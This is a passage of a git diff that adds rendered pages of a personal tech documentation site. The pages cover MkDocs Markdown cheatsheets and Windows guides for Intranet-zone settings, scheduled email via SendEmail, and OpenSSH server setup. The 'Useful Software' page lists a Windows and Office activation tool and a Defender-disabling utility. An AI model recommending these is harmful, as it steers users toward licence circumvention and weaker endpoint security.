      `Inline Code` Inline Code
      ==_you_ **can** ^^combine^^ `too`== you can combine too

      Horizontal Line

      Horizontal Line Example
      Horizontal line
      +
      +---
      +
      +Three consecutive dashes
      +

      Result:

      Horizontal line


      Three consecutive dashes

      Heading

      To create a heading, add number signs (#) in front of a word or phrase. The number of number signs you use should correspond to the heading level. For example, to create a heading level three (h3), use three number signs (e.g., ### My Header).

      Headings from h1 through h6 are constructed with a # for each level:

      Regular Headings

      Regular Headings (h1-h6)
      ### Heading 3
      +
      +#### Heading 4
      +
      +##### Heading 5
      +
      +###### Heading 6
      +

      Result:

      Heading 3

      Heading 4

      Heading 5
      Heading 6

      Headings with secondary text

      Headings with secondary text (h1-h6)
      ### Heading 3 <small>with secondary text</small>
      +
      +#### Heading 4 <small>with secondary text</small>
      +
      +##### Heading 5 <small>with secondary text</small>
      +
      +###### Heading 5 <small>with secondary text</small>
      +

      Result:

      Heading 3 with secondary text

      Heading 4 with secondary text

      Heading 5 with secondary text
      Heading 6 with secondary text
      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/code-blocks/index.html b/utilities/markdown-cheatsheet/code-blocks/index.html new file mode 100644 index 000000000..ed299f5ad --- /dev/null +++ b/utilities/markdown-cheatsheet/code-blocks/index.html @@ -0,0 +1,180 @@ + Code Blocks - 3os

      Support us

      Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-04-03

      Markdown Code Blocks

      Code blocks and examples are an essential part of technical project documentation. Material for MkDocs provides different ways to set up syntax highlighting for code blocks, either during build time using [Pygments] or during runtime using a JavaScript syntax highlighter.

      Adding a Title

      In order to provide additional context, a custom title can be added to a code block by using the title="<custom title>" option directly after the shortcode, e.g. to display the name of a file:

      Example:

      Code block with title
      ```py title="bubble_sort.py"
      +def bubble_sort(items):
      +    for i in range(len(items)):
      +        for j in range(len(items) - 1 - i):
      +            if items[j] > items[j + 1]:
      +                items[j], items[j + 1] = items[j + 1], items[j]
      +```
      +

      Result:

      bubble_sort.py
      def bubble_sort(items):
      +    for i in range(len(items)):
      +        for j in range(len(items) - 1 - i):
      +            if items[j] > items[j + 1]:
      +                items[j], items[j + 1] = items[j + 1], items[j]
      +

      Adding Line Numbers To Code Block

      Example:

      Line numbers can be added to a code block by using the linenums="<start>" option directly after the shortcode, whereas <start> represents the starting line number. A code block can start from a line number other than 1, which allows to split large code blocks for readability:

      Code block with line numbers
      ```py linenums="1"
      +def bubble_sort(items):
      +    for i in range(len(items)):
      +        for j in range(len(items) - 1 - i):
      +            if items[j] > items[j + 1]:
      +                items[j], items[j + 1] = items[j + 1], items[j]
      +```
      +

      Result:

      def bubble_sort(items):
      +    for i in range(len(items)):
      +        for j in range(len(items) - 1 - i):
      +            if items[j] > items[j + 1]:
      +                items[j], items[j + 1] = items[j + 1], items[j]
      +

      Highlighting Specific Lines

      Specific lines can be highlighted by passing the line numbers to the hl_lines argument placed right after the language shortcode. Note that line counts start at 1.

      Code block with highlighted lines
      ```py hl_lines="2 3"
      +def bubble_sort(items):
      +    for i in range(len(items)):
      +        for j in range(len(items) - 1 - i):
      +            if items[j] > items[j + 1]:
      +                items[j], items[j + 1] = items[j + 1], items[j]
      +```
      +

      Result:

      def bubble_sort(items):
      +    for i in range(len(items)):
      +        for j in range(len(items) - 1 - i):
      +            if items[j] > items[j + 1]:
      +                items[j], items[j + 1] = items[j + 1], items[j]
      +

      Highlighting Inline Code Blocks

      When InlineHilite is enabled, syntax highlighting can be applied to inline code blocks by prefixing them with a shebang, i.e. #!, directly followed by the corresponding language shortcode

      Example:

      Inline code block
      The `#!python range()` function is used to generate a sequence of numbers.
      +

      Result:

      The range() function is used to generate a sequence of numbers.

      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/content-tabs/index.html b/utilities/markdown-cheatsheet/content-tabs/index.html new file mode 100644 index 000000000..818ed7f8d --- /dev/null +++ b/utilities/markdown-cheatsheet/content-tabs/index.html @@ -0,0 +1,210 @@ + Content Tabs - 3os

      Support us

      Authors: fire1ce | Created: 2022-04-24 | Last update: 2022-04-24

      Markdown Content Tabs

      Sometimes, it's desirable to group alternative content under different tabs, e.g. when describing how to access an API from different languages or environments. Material for MkDocs allows for beautiful and functional tabs, grouping code blocks and other content.

      Usage

      Grouping code blocks

      Code blocks are one of the primary targets to be grouped, and can be considered a special case of content tabs, as tabs with a single code block are always rendered without horizontal spacing:

      Example:

      Content tabs with code blocks
      === "C"
      +
      +    ``` c
      +    #include <stdio.h>
      +
      +    int main(void) {
      +      printf("Hello world!\n");
      +      return 0;
      +    }
      +    ```
      +
      +=== "C++"
      +
      +    ``` c++
      +    #include <iostream>
      +
      +    int main(void) {
      +      std::cout << "Hello world!" << std::endl;
      +      return 0;
      +    }
      +    ```
      +

      Result:

      #include <stdio.h>
      +
      +int main(void) {
      +  printf("Hello world!\n");
      +  return 0;
      +}
      +
      #include <iostream>
      +
      +int main(void) {
      +  std::cout << "Hello world!" << std::endl;
      +  return 0;
      +}
      +

      Grouping other content

      When a content tab contains more than one code block, it is rendered with horizontal spacing. Vertical spacing is never added, but can be achieved by nesting tabs in other blocks:

      Example:

      Content tabs
      === "Unordered list"
      +
      +    * Sed sagittis eleifend rutrum
      +    * Donec vitae suscipit est
      +    * Nulla tempor lobortis orci
      +
      +=== "Ordered list"
      +
      +    1. Sed sagittis eleifend rutrum
      +    2. Donec vitae suscipit est
      +    3. Nulla tempor lobortis orci
      +

      Result:

      • Sed sagittis eleifend rutrum
      • Donec vitae suscipit est
      • Nulla tempor lobortis orci
      1. Sed sagittis eleifend rutrum
      2. Donec vitae suscipit est
      3. Nulla tempor lobortis orci

      Embedded content

      When [SuperFences] is enabled, content tabs can contain arbitrary nested content, including further content tabs, and can be nested in other blocks like [admonitions] or blockquotes:

      Example:

      Content tabs in admonition
      !!! example
      +
      +    === "Unordered List"
      +
      +        ``` markdown
      +        * Sed sagittis eleifend rutrum
      +        * Donec vitae suscipit est
      +        * Nulla tempor lobortis orci
      +        ```
      +
      +    === "Ordered List"
      +
      +        ``` markdown
      +        1. Sed sagittis eleifend rutrum
      +        2. Donec vitae suscipit est
      +        3. Nulla tempor lobortis orci
      +        ```
      +

      Result:

      Example

      * Sed sagittis eleifend rutrum
      +* Donec vitae suscipit est
      +* Nulla tempor lobortis orci
      +
      1. Sed sagittis eleifend rutrum
      +2. Donec vitae suscipit est
      +3. Nulla tempor lobortis orci
      +
      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/diagrams/index.html b/utilities/markdown-cheatsheet/diagrams/index.html new file mode 100644 index 000000000..62a436fe8 --- /dev/null +++ b/utilities/markdown-cheatsheet/diagrams/index.html @@ -0,0 +1,260 @@ + Diagrams - 3os

      Support us

      Authors: fire1ce | Created: 2022-02-26 | Last update: 2022-04-03

      Mermaid Diagrams

      Diagrams help to communicate complex relationships and interconnections between different technical components, and are a great addition to project documentation. Material for MkDocs integrates with Mermaid.js, a very popular and flexible solution for drawing diagrams.

      Usage

      Using Flowcharts

      Flowcharts are diagrams that represent workflows or processes. The steps are rendered as nodes of various kinds and are connected by edges, describing the necessary order of steps:

      Flow chart
      ```mermaid
      +graph LR
      +  A[Start] --> B{Error?};
      +  B -->|Yes| C[Hmm...];
      +  C --> D[Debug];
      +  D --> B;
      +  B ---->|No| E[Yay!];
      +```
      +

      Result:

      graph LR
      +  A[Start] --> B{Error?};
      +  B -->|Yes| C[Hmm...];
      +  C --> D[Debug];
      +  D --> B;
      +  B ---->|No| E[Yay!];

      Using Sequence Diagrams

      Sequence diagrams describe a specific scenario as sequential interactions between multiple objects or actors, including the messages that are exchanged between those actors:

      Sequence diagram
      ```mermaid
      +sequenceDiagram
      +  Alice->>John: Hello John, how are you?
      +  loop Healthcheck
      +      John->>John: Fight against hypochondria
      +  end
      +  Note right of John: Rational thoughts!
      +  John-->>Alice: Great!
      +  John->>Bob: How about you?
      +  Bob-->>John: Jolly good!
      +```
      +

      Result:

      sequenceDiagram
      +  Alice->>John: Hello John, how are you?
      +  loop Healthcheck
      +      John->>John: Fight against hypochondria
      +  end
      +  Note right of John: Rational thoughts!
      +  John-->>Alice: Great!
      +  John->>Bob: How about you?
      +  Bob-->>John: Jolly good!

      Using State Diagrams

      State diagrams are a great tool to describe the behavior of a system, decomposing it into a finite number of states, and transitions between those states:

      State diagram
      ```mermaid
      +stateDiagram-v2
      +  state fork_state <<fork>>
      +    [*] --> fork_state
      +    fork_state --> State2
      +    fork_state --> State3
      +
      +    state join_state <<join>>
      +    State2 --> join_state
      +    State3 --> join_state
      +    join_state --> State4
      +    State4 --> [*]
      +```
      +

      Result:

      stateDiagram-v2
      +  state fork_state <<fork>>
      +    [*] --> fork_state
      +    fork_state --> State2
      +    fork_state --> State3
      +
      +    state join_state <<join>>
      +    State2 --> join_state
      +    State3 --> join_state
      +    join_state --> State4
      +    State4 --> [*]

      Using Class Diagrams

      Class diagrams are central to object oriented programing, describing the structure of a system by modelling entities as classes and relationships between them:

      Class diagram
      ```mermaid
      +classDiagram
      +  Person <|-- Student
      +  Person <|-- Professor
      +  Person : +String name
      +  Person : +String phoneNumber
      +  Person : +String emailAddress
      +  Person: +purchaseParkingPass()
      +  Address "1" <-- "0..1" Person:lives at
      +  class Student{
      +    +int studentNumber
      +    +int averageMark
      +    +isEligibleToEnrol()
      +    +getSeminarsTaken()
      +  }
      +  class Professor{
      +    +int salary
      +  }
      +  class Address{
      +    +String street
      +    +String city
      +    +String state
      +    +int postalCode
      +    +String country
      +    -validate()
      +    +outputAsLabel()
      +  }
      +```
      +

      Result:

      classDiagram
      +  Person <|-- Student
      +  Person <|-- Professor
      +  Person : +String name
      +  Person : +String phoneNumber
      +  Person : +String emailAddress
      +  Person: +purchaseParkingPass()
      +  Address "1" <-- "0..1" Person:lives at
      +  class Student{
      +    +int studentNumber
      +    +int averageMark
      +    +isEligibleToEnrol()
      +    +getSeminarsTaken()
      +  }
      +  class Professor{
      +    +int salary
      +  }
      +  class Address{
      +    +String street
      +    +String city
      +    +String state
      +    +int postalCode
      +    +String country
      +    -validate()
      +    +outputAsLabel()
      +  }

      Using Entity-Relationship Diagrams

      An entity-relationship diagram is composed of entity types and specifies relationships that exist between entities. It describes inter-related things in a specific domain of knowledge:

      Entity-relationship diagram
      ```mermaid
      +erDiagram
      +  CUSTOMER ||--o{ ORDER : places
      +  ORDER ||--|{ LINE-ITEM : contains
      +  CUSTOMER }|..|{ DELIVERY-ADDRESS : uses
      +```
      +

      Result:

      erDiagram
      +  CUSTOMER ||--o{ ORDER : places
      +  ORDER ||--|{ LINE-ITEM : contains
      +  CUSTOMER }|..|{ DELIVERY-ADDRESS : uses
      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/external-markdown/index.html b/utilities/markdown-cheatsheet/external-markdown/index.html new file mode 100644 index 000000000..51bd9e447 --- /dev/null +++ b/utilities/markdown-cheatsheet/external-markdown/index.html @@ -0,0 +1,146 @@ + Embed External Markdown - 3os

      Support us

      Authors: fire1ce | Created: 2022-02-26 | Last update: 2022-04-03

      Embed External Markdown

      MkDocs Embed External Markdown plugin that allows to inject section or full markdown content from a given url. The goal is to embed different markdown from different sources inside your MkDocs project.

      For more detailed inforation follow the link: Mkdocs Embed External Markdown Plugin

      Usage

      • Section defined by "##/###/####..." header (h2/h3/h4...)
      • "#" header (h1) will be removed from source content so you can use use your own header
      • "##/###/####..." header (h2/h3/h4...) will be removed from source section content so you can use use your own header
      • Supports multiple sections from any source

      external_markdown requires 2 parameters: url and section name.

      {{ external_markdown('url', '## section name') }}
      +

      Full Markdown Content

      Embed full markdown content from a given url, you can use the following example:

      {{ external_markdown('https://raw.githubusercontent.com/fire1ce/DDNS-Cloudflare-Bash/main/README.md', '') }}
      +

      Specific Section

      Embed markdown section from a given url, you can use the following example:

      {{ external_markdown('https://raw.githubusercontent.com/fire1ce/DDNS-Cloudflare-Bash/main/README.md', '## Installation') }}
      +
      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/icons/index.html b/utilities/markdown-cheatsheet/icons/index.html new file mode 100644 index 000000000..e4a593a11 --- /dev/null +++ b/utilities/markdown-cheatsheet/icons/index.html @@ -0,0 +1,149 @@ + Icons & Emojis - 3os

      Support us

      Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-04-03

      Icons & Emojis

      One of the best features of Material for MkDocs is the possibility to use more then with thousands of emojis in your project documentation with practically zero additional effort. Use Mkdocs Material Icon Search to find the icons and emojis you need.

      Usage

      Example:

      :fontawesome-regular-bell: - Fontawesome Icon: Bell  
      +:material-bell: - Material Icon: Bell  
      +:octicons-bell-24: - Octicons Icon: Bell  
      +:bell: - Emoji: Bell
      +

      Result:

      - Fontawesome Icon: Bell
      - Material Icon: Bell
      - Octicons Icon: Bell
      đŸ”” - Emoji: Bell


      Keyboard Keys Icons

      Example:

      ++ctrl+alt+del++
      +
      ++cmd+control+option++
      +

      Result:

      Ctrl+Alt+Del

      Cmd+Ctrl+Option

      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/images/index.html b/utilities/markdown-cheatsheet/images/index.html new file mode 100644 index 000000000..05a64ed4f --- /dev/null +++ b/utilities/markdown-cheatsheet/images/index.html @@ -0,0 +1,161 @@ + Images - 3os

      Support us

      Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-04-03

      Markdown Images

      Markdown is a text format so naturally you can type in the Markdown representation of an image using examples below to put an image reference directly into the editor.

      Warning

      This site uses the Material Design for MkDocs theme with the following CSS overrides there for the results in your case may differ.

      Custom css
      /* images css */
      +.md-typeset img {
      +  border-radius: 5px;
      +  height: auto;
      +  max-width: 95%;
      +  margin: auto;
      +  display: block;
      +  box-shadow: rgba(149, 157, 165, 0.2) 0px 8px 24px;
      +}
      +

      Embedding Images

      Internal soruce example
      ![minion][internal-source]
      +
      +[internal-source]: /assets/images/markdown-cheatsheet/minion.png 'Title of the image'
      +
      External source example
      ![minion][external-source]
      +
      +[external-source]: https://octodex.github.com/images/minion.png 'Title of the image'
      +

      Result:

      minion


      Embedding Images With Width Attributes

      width=200 example
      ![minion][internal-source]{: style="width:200px"}
      +
      +[internal-source]: /assets/images/markdown-cheatsheet/minion.png 'Title of the image'
      +

      Result:

      minion

      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/links/index.html b/utilities/markdown-cheatsheet/links/index.html new file mode 100644 index 000000000..86821bd8f --- /dev/null +++ b/utilities/markdown-cheatsheet/links/index.html @@ -0,0 +1,159 @@ + Links - 3os

      Support us

      Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-08-27

      Markdown Links

      Link with Title Example
      [My Github Page][github-url]
      +
      +[github-url]: https://github.com/fire1ce 'Title of the link'
      +

      Result:

      My Github Page


      Open In New Tab

      Append (target=\_blank) to the end of the link.

      Open In New Tab Link Example
      [My Github Page][github-url]{target=\_blank}
      +
      +[github-url]: https://github.com/fire1ce 'Title of the link'
      +

      Result:

      My Github Page


      Result:

      Internal Anchor Links Example
      [Jumps to section in page][internal-anchor-link]
      +
      +[internal-anchor-link]: /utilities/markdown-cheatsheet/tables-lists-quotes/#lists 'Internal Anchor Links'
      +

      Result:

      Jumps to section in page


      Image With Links Example
      [![This is Image with link][image-link]][url-link]{target=\_blank}
      +
      +[image-link]: /assets/images/markdown-cheatsheet/minion200x200.png 'Minion'
      +[url-link]: https://github.com/fire1ce 'Go to Github'
      +

      Result:

      This is Image with link


      Mailto Link Example
      [Send Email][mail-to-link]
      +
      +[mail-to-link]: mailto:example@example.com 'Send Email'
      +

      Result:

      Send Email

      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/tables-lists-quotes/index.html b/utilities/markdown-cheatsheet/tables-lists-quotes/index.html new file mode 100644 index 000000000..82ba2275b --- /dev/null +++ b/utilities/markdown-cheatsheet/tables-lists-quotes/index.html @@ -0,0 +1,188 @@ + Tables, Lists and Quotes - 3os

      Support us

      Authors: fire1ce | Created: 2022-02-20 | Last update: 2022-04-03

      Tables, Lists and Quotes

      Tables

      A table in Markdown consists of two parts: the header and the rows of data in the table. As per the Markdown spec:

      • pipe (|) character separates the individual columns in a table.
      • (-) hyphens act as a delimiter row to separate the header row from the body.
      • (:) colon to align cell contents.
      Table Example
      | **Option** | **Description**                            |
      +| ---------- | ------------------------------------------ |
      +| data       | path to data files to supply the data.     |
      +| engine     | engine to be used for processing templates |
      +| ext        | extension to be used for dest files.       |
      +

      Result:

      Option Description
      data path to data files to supply the data.
      engine engine to be used for processing templates
      ext extension to be used for dest files.

      Column Alignment

      If you want to align a specific column to the left, center or right, you can use the [regular Markdown syntax] placing : characters at the beginning and/or end of the divider.

      Data table, columns aligned to left
      | Method      | Description                          |
      +| :---------- | :----------------------------------- |
      +| `GET`       | :material-check:     Fetch resource  |
      +| `PUT`       | :material-check-all: Update resource |
      +| `DELETE`    | :material-close:     Delete resource |
      +
      Method Description
      GET Fetch resource
      PUT Update resource
      DELETE Delete resource
      Data table, columns centered
      | Method      | Description                          |
      +| :---------: | :----------------------------------: |
      +| `GET`       | :material-check:     Fetch resource  |
      +| `PUT`       | :material-check-all: Update resource |
      +| `DELETE`    | :material-close:     Delete resource |
      +
      Method Description
      GET Fetch resource
      PUT Update resource
      DELETE Delete resource
      Data table, columns aligned to right
      | Method      | Description                          |
      +| ----------: | -----------------------------------: |
      +| `GET`       | :material-check:     Fetch resource  |
      +| `PUT`       | :material-check-all: Update resource |
      +| `DELETE`    | :material-close:     Delete resource |
      +
      Method Description
      GET Fetch resource
      PUT Update resource
      DELETE Delete resource

      Lists

      Unordered List

      Bullet point lists can be created by starting each line with an asterisk followed by a space before the content of the bullet point. Note that the space is important and should not be forgotten.

      Example:

      Unordered List Example
      - Lorem ipsum dolor sit amet
      +- Consectetur adipiscing elit
      +- Integer molestie lorem at massa
      +- Facilisis in pretium nisl aliquet
      +

      Result:

      • Lorem ipsum dolor sit amet
      • Consectetur adipiscing elit
      • Integer molestie lorem at massa
      • Facilisis in pretium nisl aliquet

      Ordered List

      Similarly, numbered lists can be created by starting each line with a number followed by a space and then the relevant text.

      Ordered List Example
      1. Lorem ipsum dolor sit amet
      +2. Consectetur adipiscing elit
      +3. Integer molestie lorem at massa
      +4. Faucibus porta lacus fringilla vel
      +5. Aenean sit amet erat nunc
      +6. Eget porttitor lorem
      +

      Result:

      1. Lorem ipsum dolor sit amet
      2. Consectetur adipiscing elit
      3. Integer molestie lorem at massa
      4. Faucibus porta lacus fringilla vel
      5. Aenean sit amet erat nunc
      6. Eget porttitor lorem

      Blocks List

      Blocks List Example
      > - list under lists
      +> - under lists
      +

      Result:

      • list under lists
      • under lists

      Tasklists

      A task list is a set of tasks that each render on a separate line with a clickable checkbox. You can select or deselect the checkboxes to mark the tasks as complete or incomplete.

      You can use Markdown to create a task list in any comment on GitHub. If you reference an issue, pull request, or discussion in a task list, the reference will unfurl to show the title and state.

      Example:

      Task List Example
      - [x] Lorem ipsum dolor sit amet, consectetur adipiscing elit
      +- [ ] Vestibulum convallis sit amet nisi a tincidunt
      +  - [x] In hac habitasse platea dictumst
      +  - [x] In scelerisque nibh non dolor mollis congue sed et metus
      +  - [ ] Praesent sed risus massa
      +- [ ] Aenean pretium efficitur erat, donec pharetra, ligula non scelerisque
      +

      Result:

      • Lorem ipsum dolor sit amet, consectetur adipiscing elit
      • Vestibulum convallis sit amet nisi a tincidunt
      • In hac habitasse platea dictumst
      • In scelerisque nibh non dolor mollis congue sed et metus
      • Praesent sed risus massa
      • Aenean pretium efficitur erat, donec pharetra, ligula non scelerisque

      Block Quotes

      For quoting blocks of content from another source within your document.

      Add > before any text you want to quote.

      Quoting Blocks Example
      > Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.
      +> Donec massa lacus, ultricies a ullamcorper in, fermentum sed augue.
      +

      Result:

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante. Donec massa lacus, ultricies a ullamcorper in, fermentum sed augue.


      Nested Block Quotes

      Quoting Blocks Nested Example
      > Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.
      +> Donec massa lacus, ultricies a ullamcorper in, fermentum sed augue.
      +>
      +> > Sed adipiscing elit vitae augue consectetur a gravida nunc vehicula. Donec auctorodio
      +> > non est accumsan facilisis. Aliquam id turpis in dolor tincidunt mollis ac eu diam.
      +

      Result:

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante. Donec massa lacus, ultricies a ullamcorper in, fermentum sed augue.

      Sed adipiscing elit vitae augue consectetur a gravida nunc vehicula. Donec auctorodio non est accumsan facilisis. Aliquam id turpis in dolor tincidunt mollis ac eu diam.

      \ No newline at end of file diff --git a/utilities/useful-links-tools/index.html b/utilities/useful-links-tools/index.html new file mode 100644 index 000000000..a2b89f8f7 --- /dev/null +++ b/utilities/useful-links-tools/index.html @@ -0,0 +1,167 @@ + Useful Links & Tools - 3os

      Support us

      Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-08-02

      Useful Links & Tools

      Services Description
      Mail-Tester.com Tests the quality of emails
      ipleak.net Shows Information About Your IP
      sslLabs.com Test Your SSL Certification
      ifconfig.io curl ifconfig.io
      DSL Reports.com Speedtest For QoS Best Configuration
      Hurricane Electric Free DNS Hosting Free DNS & DDNS Service
      freedns.afraid.org Free DNS & DDNS Service

      Comments

      \ No newline at end of file diff --git a/utilities/wifiQrGenerator/index.html b/utilities/wifiQrGenerator/index.html new file mode 100644 index 000000000..2f123b6c6 --- /dev/null +++ b/utilities/wifiQrGenerator/index.html @@ -0,0 +1,167 @@ + Wifi QR Image Generator - 3os

      Support us

      Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-08-02

      Wifi QR Image Generator

      Description

      This will generate a QR code what can be used with any iOS/Android device to access a given Wifi without manually adding a network and password.
      Just scan the QR Code and you are connected. This is a fully static code - no data is send to any server!

      Generator

      Credit & Sources

      This code was taken from this site qistoph Github Page. It was fully reviewed for any malicious code or functionality and slightly modified to fit this site

      Comments

      \ No newline at end of file diff --git a/windows/guides/declare-locations/index.html b/windows/guides/declare-locations/index.html new file mode 100644 index 000000000..2b236620a --- /dev/null +++ b/windows/guides/declare-locations/index.html @@ -0,0 +1,171 @@ + Declare Locations as "Inside Your Local Network" - 3os

      Support us

      Authors: fire1ce | Created: 2021-09-02 | Last update: 2022-08-02

      Declare Locations as "Inside Your Local Network"

      Warning

      The Intranet Zone is the most trusted and least protected zone. DO NOT put any subnets or IP addresses in this zone unless they are TOTALLY under YOUR control. That includes ANY public server, web site, subnet, or IP address.

      • Select 'Control Panel'/'Internet Properties'/'Security' tab. (Alternatively, open Internet Explorer and select 'Tools'/'Internet Options'/'Security' tab.)

      • Highlight 'Local Intranet' and click 'Sites'.

      • Set the following: Uncheck 'Automatically detect intranet network'.Check 'Include all local (intranet) sites not listed in other zones'.Uncheck 'Include all sites that bypass the proxy server'.Check 'Include all network paths (UNCs)'.​

      • Click 'Advanced'

      • Uncheck 'Require server verification (https:) for all sites in this zone'.

      • In the field labeled 'Add this web site to the zone:', add your local, private subnet using an asterisk for a network mask and click 'Add'. E.g. If your home (local) network is 192.168.25.0 with a mask of 255.255.255.0, enter '192.168.25.*' (without the quotes).

      Note

      Entries can be:​

      * Individual IP addresses (e.g. '192.168.5.25', etc.),
      +* Class C subnets (e.g. '192.168.27.*'),
      +* Class B subnets (e.g. '172.16.*.*'), or
      +* Class A subnets (e.g. '10.*.*.*')​
      +

      You can add as many addresses as you need to the list It can be handy add the address of a VPN subnet to the list if it is also private and you TOTALLY trust it.​

      • Close out with 'Close'/'OK'/'OK' and close the Control Panel (or Internet Explorer).

      Comments

      \ No newline at end of file diff --git a/windows/guides/email-from-task-scheduler/index.html b/windows/guides/email-from-task-scheduler/index.html new file mode 100644 index 000000000..49fb122d9 --- /dev/null +++ b/windows/guides/email-from-task-scheduler/index.html @@ -0,0 +1,168 @@ + Send Emails From The Windows Task Scheduler - 3os

      Support us

      Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-08-02

      Send Emails From The Windows Task Scheduler

      First, download SendEmail, a free (and open source) tool for sending emails from the command line. Extract the downloaded archive into a folder on your computer.

      SendEmails

      Next, launch the Windows Task Scheduler and create a new task – consult our guide to creating scheduled tasks for more information. You can create a task that automatically sends an email at a specific time or a task that sends an email in response to a specific event.

      When you reach the Action window, select Start a program instead of Send an e-mail.

      SendEmails In the Program/script box, use the Browse button and navigate to the SendEmail.exe file on your computer.

      SendEmails

      Finally, you’ll have to add the arguments required to authenticate with your SMTP server and construct your email. Here’s a list of the options you can use with SendEmail:

      Server Options

      • -f EMAIL – The email address you’re sending from.
      • -s SERVER:PORT – The SMTP server and port it requires.
      • -xu USERNAME – The username you need to authenticate with the SMTP server.
      • -xp PASSWORD – The password you need to authenticate with the SMTP server.
      • -o tls=yes – Enables TLS encryption. May be necessary for some SMTP servers.

      If you’re using Gmail’s SMTP servers, these are the server options you’ll need:

      • -s smtp.gmail.com:587 -xu you@gmail.com -xp password -o tls=yes

      Of course, you’ll have to enter your own email address and password here.

      Destination Options

      • -t EMAIL – The destination email address. You can send an email to multiple addresses by including a space between each address after the -t option.
      • -cc EMAIL – Any addresses you’d like to CC on the email. You can specify multiple addresses by placing a space between each email address, just as with the -t command above.
      • -bcc EMAIL – The BCC version of the CC option above.

      Email Options

      • -u SUBJECT – The subject of your email
      • -m BODY – The message body text of your email.
      • -a ATTACHMENT – The path of a file you’d like to attach. This is optional.

      For example, let’s say your email address is example@gmail.com and you’d like to send an email to person@example.com. You’d use the following options:

      -f example@gmail.com -t person@example.com -u Subject -m This is the body text! -s smtp.gmail.com:587 -xu example@gmail.com -xp password -o tls=yes
      +

      Once you’ve put together your options, copy and paste them into the Add arguments box.

      SendEmails

      Save your task and you’re done. Your task will automatically send email on the schedule (or in response to the event) you specified.

      Comments

      \ No newline at end of file diff --git a/windows/ssh-server/index.html b/windows/ssh-server/index.html new file mode 100644 index 000000000..c8124f625 --- /dev/null +++ b/windows/ssh-server/index.html @@ -0,0 +1,179 @@ + Windows SSH Server - 3os

      Support us

      Authors: fire1ce | Created: 2022-04-21 | Last update: 2022-04-21

      Windows SSH Server

      Sometime you need to connect to a remote server via SSH. Usually it's the main connection to linux servers. But you can also connect to a windows server via SSH. At this guide we will show you how to install and configure a windows ssh server, including SSH Keys authentication.

      SSH Server Installation on Windows

      We will be using PowerShell to install the SSH server inculding the SSH client.

      Open PowerShell Terminal as Administrator.

      Run the following commands to install the SSH server and client.

      Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0
      +Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
      +

      After the installaton you can check the Windows SSH server and client are installed.

      Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'
      +

      The output will be something like this:

      SSH Server Installation

      To start the Windows SSH server service

      Start-Service sshd
      +

      Enable Windows SSH Server on Windows Boot

      Set-Service -Name sshd -StartupType 'Automatic'
      +

      Add a Firewall rule to allow the SSH port

      if (!(Get-NetFirewallRule -Name "OpenSSH-Server-In-TCP" -ErrorAction SilentlyContinue | Select-Object Name, Enabled)) { Write-Output "Firewall Rule 'OpenSSH-Server-In-TCP' does not exist, creating it..." New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 } else { Write-Output "Firewall rule 'OpenSSH-Server-In-TCP' has been created and exists." }
      +

      At this point you should be able to connect via SSH to the Windows server with your username and password.

      SSH Connection

      Adding SSH Keys

      Administrator User

      Create the file: administrators_authorized_keys at the following location:

      C:\ProgramData\ssh\administrators_authorized_keys
      +

      Edit the file and add you SSH public key to the file.

      Now we need to import the SSH public key to the Windows SSH server. We can do this by using the following command:

      icacls.exe "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F"
      +

      Test the SSH connection to the Windows server from remote machine with the SSH Key.
      You should be able to connect to the Windows server with your SSH key

      Regular User (non-administrator)

      Create a .ssh directory in the home directory of the user.

      ```path
      +C:\Users\<username>\.ssh\
      +

      Create the file: authorized_keys at the following location:

      C:\Users\<username>\.ssh\authorized_keys
      +

      Edit the file and add you SSH public key to the file.

      Test the SSH connection to the Windows server from remote machine with the SSH Key.
      You should be able to connect with non-administrator user to the Windows server with your SSH key

      PowerShell as Default Shell for SSH

      By default the SSH client uses the Windows command prompt as the default shell.

      We can change the default shell to PowerShell running the following PowerShell command:

      New-ItemProperty -Path "HKLM:\SOFTWARE\OpenSSH" -Name DefaultShell -Value "C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe" -PropertyType String -Force
      +

      Next to you connet to the Windows SSG server it should start the PowerShell shell.

      It should look something like this:

      SSH Connection with PowerShell

      Comments

      \ No newline at end of file diff --git a/windows/useful-software/index.html b/windows/useful-software/index.html new file mode 100644 index 000000000..758774b77 --- /dev/null +++ b/windows/useful-software/index.html @@ -0,0 +1,167 @@ + Useful Software - 3os

      Support us

      Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-08-02

      Useful Software

      Win 10 ISO Official Download

      Microsoft Official Windows 10 Download

      List of Useful Software

      Application Description
      MAS Windows & Office Activation
      Windows Tweaker 4 for Windows 10 Windows Tweaker
      Defender Control Windows Defender control
      Link Shell Extension Symlinks For Windows
      Winaero Tweaker Winaero Tweaker
      Autologon Autologon at boot

      Comments

      \ No newline at end of file diff --git a/windows/windows-servers/index.html b/windows/windows-servers/index.html new file mode 100644 index 000000000..d341d89cd --- /dev/null +++ b/windows/windows-servers/index.html @@ -0,0 +1,171 @@ + Windows Servers - 3os

      Support us

      Authors: fire1ce | Created: 2021-12-02 | Last update: 2022-08-02

      Windows Servers

      Basic Setup

